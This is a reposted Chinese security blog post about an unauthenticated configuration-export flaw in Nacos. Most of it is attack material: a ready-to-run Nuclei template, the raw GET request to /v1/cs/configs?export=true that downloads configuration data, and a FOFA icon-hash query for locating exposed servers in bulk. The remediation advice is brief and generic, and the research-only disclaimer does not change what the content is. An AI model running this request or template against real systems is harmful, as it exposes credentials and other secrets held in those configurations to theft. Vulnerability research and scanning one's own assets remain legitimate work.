Nacos未授权下载配置信息【nuclei-POC】

admin
admin
admin
140350
文章
117
评论
2024年11月26日15:13:39评论84 views字数 683阅读2分16秒阅读模式

漏洞描述：

Nacos未授权下载配置信息。攻击者通过访问特定路径，非法获取配置文件等在内的敏感及关键信息，对系统安全构成重大威胁。

01—Nuclei POC

id: Nacos-unauthorized-Configuration_Information

info:
  name: Nacos未授权下载配置信息

  author: kingkong
  severity: high
  metadata:
    fofa-query: icon_hash="13942501"

http:
  - raw:
      - |
        GET /v1/cs/configs?export=true&group=&tenant=&appName=&ids=&dataId= HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
              - 'status_code_1 == 200'
        condition: and
02—搜索语法

FOFA：icon_hash="13942501"

Nacos未授权下载配置信息【nuclei-POC】

界面如下

Nacos未授权下载配置信息【nuclei-POC】

03—漏洞复现

Nacos未授权下载配置信息【nuclei-POC】

漏洞检测POC

GET /v1/cs/configs?export=true&group&tenant&appName&ids&dataId HTTP/1.1Host:

neclei批量检测截图

Nacos未授权下载配置信息【nuclei-POC】

04—修复建议

1、强化身份验证和访问控制：实施强密码策略、多因素身份验证，并根据用户角色和权限设置适当的访问控制。
2、安全配置：确保系统和应用程序的安全配置，包括正确的文件和目录权限设置、网络访问控制等

 

原文始发于微信公众号（脚本小子）：Nacos未授权下载配置信息【漏洞复现|附nuclei-POC】

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月26日15:13:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   Nacos未授权下载配置信息【nuclei-POC】https://cn-sec.com/archives/3439312.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息